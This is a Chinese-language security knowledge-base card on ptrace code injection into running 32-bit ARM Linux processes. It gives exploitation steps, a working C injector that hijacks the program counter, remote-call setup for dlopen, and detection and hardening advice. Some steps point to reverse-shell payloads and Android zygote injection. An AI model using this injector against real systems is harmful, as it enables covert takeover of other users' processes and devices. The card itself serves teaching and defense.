♧ Godown 安全知识树

ARMv7l(32 位 ARM)下的 ptrace 注入:struct pt_regs/uregs[18] 取 18 个寄存器、按 word 粒度 PEEKTEXT/POKETEXT 备份改写、设置 ARM_pc 劫持流程,并按 R0-R3 + CPSR.T 位远程调用 mmap/dlopen/dlsym

pentest/c2 · verified

一句话结论

在 ARMv7l(32 位 ARM Linux,常见于路由器/嵌入式)上做 ptrace 进程注入,与 x86-64 的差别集中在三处:寄存器结构体是 struct pt_regs { long uregs[18]; }(用 ARM_pc/ARM_sp/ARM_lr/ARM_cpsr 等宏索引,头文件是 asm/ptrace.h 而不是 sys/user.h)、内存读写以 sizeof(long) 为粒度走 PTRACE_PEEKDATA/POKEDATA(写非整字长度要先用 PEEKDATA 读回原字、只覆盖低位再写回,否则高位被清零)、以及远程调用函数时前四个参数走 R0-R3、多余参数压栈,还要按调用地址最低位判断 ARM/Thumb 并相应设置/清除 CPSR 的 T 位、把 LR 置 0 让调用结束后出错停住以便读 R0 取返回值。整链为:PTRACE_ATTACH → waitpid(WUNTRACED) → GETREGS 保存 oldregs → 从 /proc/<pid>/maps 找 rw-p 段 → 按字备份并写入 shellcode → ARM_pc = shellcode 地址 → SETREGS → DETACH,目标随即执行注入代码。

原理

  • 寄存器布局由内核 ABI 决定:ARM32 的 ptrace(PTRACE_GETREGS/SETREGS) 传的是 struct pt_regs,即 18 个 long:uregs[0..15] 依次是 r0-r12, sp, lr, pc,uregs[16] 是 cpsr,uregs[17] 是 orig_r0。所以「改执行流」就是写 uregs[15](ARM_pc),「改返回地址」写 uregs[14](ARM_lr),「改标志位(含 Thumb 位)」写 uregs[16](ARM_cpsr);x86-64 的 user_regs_struct 里这些字段是具名的 rip/rsp/rflags,两套头文件不能混用,混用会直接编译失败或取值错位。
  • 字粒度读写带来的高位陷阱:PTRACE_POKEDATA/POKETEXT 每次只写一个 word。若 shellcode 长度不是 sizeof(long) 的整数倍,直接把末尾不足一字的部分写进去会把该字剩余高位写成 0,破坏目标进程原有数据。正确做法是先 PTRACE_PEEKDATA 把该字读回、memcpy 只覆盖需要的前 n 字节、再 PTRACE_POKEDATA 写回。这与 x86-64 上同样的限制一致,但在 ARM 上更容易踩到,因为 ARM 指令是 4 字节而定长,而 long 也是 4 字节,所以「一字一指令」的直觉会让人误以为不会越界。
  • 为什么改 ARM_pc 就能执行注入代码:PTRACE_ATTACH 后目标停在某个指令边界,PTRACE_CONT/PTRACE_DETACH 会从 ARM_pc 所指处继续取指解码。把 ARM_pc 指向刚写入的可写段(rw-p)即可执行——能否执行取决于该段是否可执行(r-xp/rwxp)与内核 CONFIG_ARM 的域/页表属性;实践中常写进 rw-p 段的堆/数据区,若该段不可执行则会 SIGSEGV,这本身可作为「注入生效且已劫持控制流」的证据。
  • ARM 与 Thumb 的双指令集约束:ARMv7 支持 ARM(4 字节对齐)与 Thumb/Thumb-2(2 字节对齐)两种指令集,由 CPSR.T 位选择。函数指针/符号地址的最低位标记「这是 Thumb 代码」(因为 2 字节对齐使 bit0 恒为 0,可借用);直接把这个地址写进 ARM_pc 会因奇数地址取指而出错。因此远程调用前必须:若地址 bit0 为 1,清掉 bit0 并把 CPSR.T 置位;否则清 CPSR.T。
  • 远程调用函数的完整闭环:LR 置 0 后,被调用函数 return 会跳到地址 0 触发异常,目标再次进入暂停状态,此时 waitpid(WUNTRACED) 返回,读 ARM_r0 就是返回值。这条「用故意崩溃当返回信号」的技巧避免了在目标里布置返回地址,代价是每次调用都会让目标崩一次(只适合一次性注入流程,或需在调用后恢复)。
  • 为什么注入器要多次远程调用:注入 shellcode 只是第一步;若要加载模块,还要远程 mmap 分配 RWX、把模块路径字符串写进去、远程 dlopen 拿句柄、远程 dlsym 拿符号、调用目标函数、dlclose。这些函数的地址通过「本机 /proc/self/maps 里该模块基址 + 本机符号偏移 = 偏移,再加目标进程 /proc/<pid>/maps 里同名模块基址」换算得到,因此注入器与目标必须是同架构、同版本的系统库,否则偏移不通用。
  • 检测面:attach 期间 /proc/<pid>/status 的 TracerPid 非 0;PTRACE_POKETEXT/POKEDATA 对代码段或数据段的写入在 auditd/eBPF 中可见;目标进程在注入后立刻 SIGSEGV 是强特征。

触发条件

  • 注入器与目标同 UID 或具备 CAP_SYS_PTRACE/root;YAMA ptrace_scope 为 0(或注入器是目标的父进程/已声明调试关系);SELinux/AppArmor 未阻止 ptrace。
  • 目标为 32 位 ARM(armv7l)ELF,注入器与目标架构、ABI 一致(交叉编译时链接同一个 arm-linux-gnueabihf 工具链),否则 pt_regs 布局与符号偏移都不对。
  • 注入器能读 /proc/<pid>/maps 找到一段可写(最好可执行)区域作为落点,并知道目标 PID。
  • shellcode 与目标架构匹配(ARM 或 Thumb 编码),且不依赖目标未映射的库;纯 svc/syscall 指令最稳。
  • 目标未设置 PR_SET_DUMPABLE=0、不是内核线程;多线程目标需按 /proc/<pid>/task/ 逐线程 attach。

利用步骤

  1. 交叉编译注入器与受害者(arm-linux-gnueabihf-gcc -static),在 QEMU/真实 ARM 设备上运行受害者,ps -ef 取得 PID。
  2. ptrace(PTRACE_ATTACH, pid, NULL, NULL),随后 waitpid(pid, &status, WUNTRACED) 等目标停住;确认 WIFSTOPPED(status)。
  3. ptrace(PTRACE_GETREGS, pid, NULL, &regs) 取 struct pt_regs,memcpy 到 oldregs 备份全部 18 个寄存器。
  4. 读 /proc/<pid>/maps,取第一段权限含 rw-p 的起始地址作为落点 addr;若需要执行,优先找 rwxp/先远程 mmap 一段 RWX。
  5. 按字备份:循环 PTRACE_PEEKDATA(pid, addr+i, NULL) 存入 backup;再按字写入 shellcode,末尾不足一字的先 PEEKDATA 读回、memcpy 覆盖低位、再 POKEDATA 写回。
  6. regs.ARM_pc = addr,ptrace(PTRACE_SETREGS, pid, NULL, &regs);ptrace(PTRACE_DETACH, pid, NULL, NULL) 让目标从 shellcode 开始执行。
  7. 用 ADB/telnet 反弹 shell 或 nc -lvp <port> 观察效果;注入一段非法指令(如全 0x61)时目标立即 Segmentation fault,即可确认控制流已被劫持(若要在真实攻击中利用,应写入有效 shellcode 如 execve 或反弹 shell)。
  8. 若目标流程需要继续运行,重新 PTRACE_ATTACH→POKEDATA 写回 backup→SETREGS(oldregs)→DETACH 复原。
  9. 需要加载模块时,改为「远程调用」路线:远程 mmap 拿 RWX → 写入模块路径 → 远程 dlopen(按 R0-R3 传参、必要时压栈、处理 Thumb 位、LR 置 0)→ 远程 dlsym 取函数 → 远程调用目标函数 → dlclose → 恢复寄存器并 detach。

PoC

注入器关键片段(ARM32,落点为 /proc/<pid>/maps 中首个 rw-p 段,shellcode 用一串非法指令验证控制流劫持):

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <asm/ptrace.h>     /* ARM32: struct pt_regs { long uregs[18]; } */
#include <unistd.h>
#include <string.h>

long freespaceaddr(pid_t pid) {                 /* 取首个 rw-p 段起始地址 */
    char fn[30], line[256]; long addr = 0;
    sprintf(fn, "/proc/%d/maps", pid);
    FILE *fp = fopen(fn, "r");
    while (fgets(line, sizeof(line), fp))
        if (strstr(line, "rw-p")) { sscanf(line, "%lx-%*lx", &addr); break; }
    fclose(fp);
    return addr;
}

void getdata(pid_t pid, long addr, void *data, int len) {
    long *p = (long *)data;
    for (int i = 0; i < len; i += sizeof(long))
        *p++ = ptrace(PTRACE_PEEKDATA, pid, addr + i, NULL);
}

void putdata(pid_t pid, long addr, void *data, int len) {
    long *p = (long *)data;
    for (int i = 0; i < len; i += sizeof(long))
        ptrace(PTRACE_POKEDATA, pid, addr + i, *p++);
}

int main(int argc, char **argv) {
    pid_t tp = atoi(argv[1]);
    struct pt_regs regs, oldregs;
    char shellcode[] = "\x61\x61\x61\x61\x61\x61\x61\x61"
                       "\x61\x61\x61\x61\x61\x61\x61\x00"
                       "\x61\x61\x61\x61\x61\x61\x61\x61";
    int len = sizeof(shellcode);

    ptrace(PTRACE_ATTACH, tp, NULL, NULL);
    wait(NULL);
    ptrace(PTRACE_GETREGS, tp, NULL, &regs);
    memcpy(&oldregs, &regs, sizeof(regs));

    long addr = freespaceaddr(tp);
    char backup[len];
    getdata(tp, addr, backup, len);      /* 备份原始数据 */
    putdata(tp, addr, shellcode, len);   /* 写入 shellcode */

    regs.ARM_pc = addr;                  /* 劫持 PC */
    ptrace(PTRACE_SETREGS, tp, NULL, &regs);
    ptrace(PTRACE_DETACH, tp, NULL, NULL);
    return 0;
}

Thumb/ARM 判定与远程调用前的寄存器设置:

if (regs->ARM_pc & 1) {          /* 地址最低位为 1:Thumb 代码 */
    regs->ARM_pc &= ~1u;
    regs->ARM_cpsr |=  CPSR_T_MASK;
} else {                          /* ARM 代码 */
    regs->ARM_cpsr &= ~CPSR_T_MASK;
}
for (i = 0; i < nparam && i < 4; i++)
    regs->uregs[i] = parameters[i];        /* r0-r3 传前四个参数 */
if (i < nparam) {                          /* 多余参数压栈 */
    regs->ARM_sp -= (nparam - i) * sizeof(long);
    ptrace_writedata(pid, (void *)regs->ARM_sp,
                     (uint8_t *)parameters[i], (nparam - i) * sizeof(long));
}
regs->ARM_lr = 0;                          /* 返回即崩溃,waitpid 捕获后读 r0 */

目标侧用一个每秒打印 running 的死循环程序即可;注入一串 0x61 后观察到 Segmentation fault,说明写入落在目标内存且 ARM_pc 已被改写。

变体与关联

  • 架构对照变体:x86-64 上同一套 API 用 sys/user.h 的 user_regs_struct(rip/rsp/rflags)、PTRACE_POKETEXT 写 int3 回报,见 [[pentest-c2-linux-ptrace-poketext-shellcode-injection]];本卡补的是 ARM32 的 pt_regs、CPSR.T 与远程调用约定。
  • 落点变体:写 rw-p 数据段(不可执行则当作劫持成功的证据)、写 r-xp 代码段(覆盖入口指令,需先备份)、或远程 mmap 一段 RWX 再写长 payload。
  • 加载模块变体:把 shellcode 注入改成「远程 mmap + dlopen + dlsym + 调用」路线,可注入 .so 而非裸 shellcode;Android 场景下对 zygote 做同一操作可让随后 fork 的应用进程全部继承,见 [[mobile-android-zygote-ptrace-dlopen-injection]]。
  • 环境变体:QEMU 用户态模拟只能跑单进程、无法 attach 目标,需用系统态模拟(QEMU + Buildroot 根文件系统 + 网桥)或真机;该实验环境搭建部分是本文的主要篇幅。
  • 关联:[[binary-pwn-sandbox-escape]] 目录下的注入/shellcode 卡用于理解 payload 侧;本卡关注「怎么把 payload 塞进已运行进程」。

检测与防御

  • 内核/系统层:/proc/sys/kernel/yama/ptrace_scope 设为 1(仅父进程)或 2(需 CAP_SYS_PTRACE);容器内禁用 CAP_SYS_PTRACE;生产设备不保留调试能力。
  • MAC:SELinux/AppArmor 对 ptrace 做 allowlist,限制跨域 attach;Android 侧还需 hidepid 与 SELinux 域约束。
  • 加固:敏感进程设 PR_SET_DUMPABLE=0;ASLR 提高落点预测成本;对代码段设置 W^X,使「写入即可执行」不成立。
  • 检测:TracerPid 非 0 的短时窗口;auditd 抓 ptrace 系统调用及 PTRACE_POKETEXT/POKEDATA 请求码;同一进程被 attach 后立即 SIGSEGV;/proc/<pid>/maps 被异常频繁读取(注入器定位落点的前置动作);eBPF 监控对 rw-p 段的写入。